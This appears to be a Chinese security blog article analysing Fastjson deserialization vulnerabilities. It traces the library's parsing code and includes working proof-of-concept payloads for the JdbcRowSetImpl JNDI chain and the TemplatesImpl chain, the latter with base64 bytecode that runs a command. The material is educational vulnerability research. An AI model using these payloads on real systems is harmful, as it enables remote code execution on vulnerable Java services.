概述
-
toJSONString()方法:将Json对象转换成Json字符串; -
parseObject()方法:将Json字符串转换成Json对象; -
pase()方法:将Json字符串转换为Json对象
Fastjson反序列化
定义⼀个person类
package org.example;
public class Person {
private String name;
private int age;
public Person(){
System.out.println("constructor run");
}
public void setName(String name) {
System.out.println("setName run");
this.name = name;
}
public String getName() {
System.out.println("getnNme run");
return this.name;
}
public void setAge(int age) {
System.out.println("setAge run");
this.age = age;
}
public int getAge(){
System.out.println("getAge run");
return this.age;
}
}
再定义⼀个Testperson类
package org.example;import com.alibaba.fastjson.JSON;
public class Testperson {
public static void main(String[] args) {
Person person = new Person();
person.setAge(18);
person.setName("zhangsan");
System.out.println("----------------------------------------------");
//序列化
String jsonString1 = JSON.toJSONString(person);
// String jsonString1 = JSON.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println(jsonString1);
// String jsonString1 = "{"age":18,"name":"zhangsan"}";
// String jsonString1 = "{"@type":"Person","age":18,"name":"zhangsan"}";
//反序列化
Object person1 = JSON.parse(jsonString1);
System.out.println(person1);
}
}
运行结果
constructor run
setAge run
setName run
----------------------------------------------
getAge run
getnNme run
{"@type":"Person","age":18,"name":"zhangsan"}
constructor run
setAge run
setName run
Person@3d71d552
结论:
-
在序列化的时候,Fastjson会调用指定类中的get方法,被private修饰且没有get方法的属性不会被序列化, -
在反序列化的时候,fastjson会调用指定属性的set方法,并且public修饰的属性全部会被赋值
漏洞是利用fastjson在使用autotype处理json对象的时候,未对@type字段进行完全的安全性验证,导致攻击者可以传入危险类,并调用危险方法连接远程rmi主机,通过其中的恶意类执行代码。
JdbcRowSetImpl的利⽤链在实际运用中较为广泛,这个链基本没啥限制条件,只需要Json.parse(input) 即可进行命令执行。但是使用JNDI注入对JDK的版本有⼀定限制
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
漏洞复现
利用链:JdbcRowSetImpl
poc:
import com.alibaba.fastjson.JSON;
public class JdbcRowSetImplPoc {
public static void main(String[] args) {
String PoC = "{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:8085/MPfKfjem", "autoCommit":true}";
JSON.parse(PoC);
}
}
从前面的测试中我们可以知道,FastJson反序列化的过程中会调用指定属性的get、set方法。
-
@type:目标反序列化类名; -
dataSourceName:JNDI远程恶意服务,反序列化时会调用setDataSourceName方法; -
autoCommit:在反序列化时,会去调用setAutoCommit方法
调试中我们可以看到dataSourceName参数在解析中会调用setDataSourceName方法赋值
而autoCommit参数也会调用setAutoCommit方法
这里会执行到else这个分支,然后调用this.connect()方法,跟进该方法
跟踪到这里发现执行了lookup方法,而lookup方法传入了this.getDataSourceName()参数,这个参数返回的是dataSourceName的值,而这个dataSourceName是前面setDataSourceName方法设置的,是⼀个可控的参数,所以这里可以使用JNDI注入从而达到命令执行
Templateslmpl链分析
漏洞复现
利用链:TemplatesImpl
poc:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class TemplatesImplPoc {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHACEMACIAIwEABGNhbGMMACQAJQEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACgAEAAsADQAMAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEAABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFQAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGAAIABkADAAAAAQAAQAUAAEAFQAAAAIAFg=="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}";
Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
}
}
其中_bytecodes字段对应的数据的是下面这段代码,编译后进行base64加密后的数据
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
思考:
3. 在反序列化的时候为什么要加入Feature.SupportNonPublicField参数值
-
从源码可以看到"_name、 _tractory、 _outputProperties、 _bytecodes"这几个参数都是private修饰的私有变量,并且_name、_tractory、_bytecodes参数没有对应的set方法,必须加入Feature.SupportNonPublicField属性在parseObject中才能触发。由此可以看出TemplatesImpl链的利用条件比较苛刻,需要开启Feature.SupportNonPublicField选项才能利用
-
@type:用于存放反序列化时的目标类型,这里指定的是TemplatesImpl这个类,Fastjson会按照这个类反序列化得到实例,因为调用了getOutputProperties方法,实例化了传入的bytecodes类,导致命令执行
-
_bytecodes:继承AbstractTranslet类的恶意类字节码,并且使用Base64编码
-
_name:调用getTransletInstance时会判断其是否为null,为null直接return,不会往下进行执行,利用链就断了
-
_tfactory:defineTransletClasses中会调用其getExternalExtensionsMap方法,为null会出现异常
-
_outputProperties:漏洞利用时的关键参数,由于Fastjson反序列化过程中会调用其getOutputProperties方法,导致bytecodes字节码成功实例化,造成命令执行
public static <T> T parseObject(String input, Type clazz, ParserConfig config, Feature... features) {
return parseObject(input, clazz, config, (ParseProcess)null, DEFAULT_PARSER_FEATURE, features);
}
这里传入了几个参数,并调用重载的parseObject方法。
clazz:指定反序列化对象,这里是class
config:ParserConfig的实例对象
Feature:反序列化private属性所用到的⼀个参数
这里首先判断是不是GenericArrayType类型,然后是⼀个三元判断type是否为Class对象并且type不等于Object.class,type不等于Serializable.class,条件为true调用parser.parseObject,条件为flase调用parser.parse。很显然这里会调用parser.parse方法。继续跟踪
parse方法:
这里获取当前字符串的第⼀个字符,如果第⼀个字符为"{"的话,token=12
然后判断key是否等于"@type",如果为真则获取key的值,也就是我们写的类名,接着调用TypeUtils.loadClass方法,通过反射将类名传进去获取⼀个类对象
跟进loadclass方法,看⼀下类是怎么加载的,先是在mappings缓存里找这个类,然后又判断类名是否以[开头,true的话就去掉,接着判断是否以L开头;结尾,true的话也是去掉这些,这里也为fastjson后续版本的绕过埋下了伏笔(1.2.41、1.2.42、1.2.43)
然后走到这里,调用this.config.getDeserializer(clazz)方法获取反序列化器
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
这里可以看到它的构造方法里内置了⼀些反序列化器
再次调用重载的getDeserializer方法,首先还是在缓存中查找反序列化的类,最后调用this.createJavaBeanDeserializer(clazz, (Type)type)方法
跟进:这里先获取类的⼀些信息
-
(JSONType)clazz.getAnnotation(JSONType.class):获取JSONTye注解 -
getBuilderClass(jsonType) :通过JSONType注解获取类构造器 -
clazz.getDeclaredFields():获取类中所有的属性 -
clazz.getMethods():获取类中的⽅法 -
getDefaultConstructor(builderClass == null ? clazz : builderClass):获取默认构造方法 -
List
fieldList = new ArrayList():新建⼀个数组对象,⽤来存储所有符合要求字段
然后这里有3个for循环,分别用来获取set方法,public字段,get方法,然后将符合要求的字段添加到fieldList数组
set方法的查找方式:
-
方法名长度大于4 -
非静态方法 -
返回值为void或当前类 -
方法名以set开头 -
参数个数为1
-
方法名长度大于等于4 -
非静态方法 -
以get开头且第4个字母为大写 -
无传入参数 -
返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
然后返回到com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze接着跟踪
经过重载后来到这里,开始遍历json中的内容
int mask = Feature.SupportNonPublicField.mask;
if (fieldDeserializer == null && (parser.lexer.isEnabled(mask) || (this.beanInfo.parserFeatures & mask) != 0)) {
Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
跟进parseField()方法
2.通过this.setValue(object, value)方法给字段赋值
跟进this.setValue()方法,这里有两个逻辑
2. 如果字段没有对应的set方法,method为null,然后获取字段,并通过field.set()方法对字段进行赋值
TemplatesImpl类内的调用链
通过invaka()方法会调用到getOutputProperties()方法
跟进newTransformer方法
这里调用了getTransletInstance方法
这里首先判断"_name"参数是否为空,为空返回null
然后调用defineTransletClasses方法
1.判断_bytecodes数组是否为空
2.创建⼀个TransletClassLoader对象loader
调用栈
还有最后⼀个问题:_bytecodes为什么需要进行base64编码的问题让我们回到parseField方法,在获取value值的时候调用了deserialze方法
跟踪deserialze方法,这里又调用了parser.parseArray方法
跟踪parser.parseArray,然后又调用了deserialze方法
跟进后发现,看到这里调用了lexer.bytesValue()方法
跟进lexer.bytesValue()方法,发现这里进行了base64解码
交流群
原文始发于微信公众号(起凡安全):Fastjson反序列化漏洞深度分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论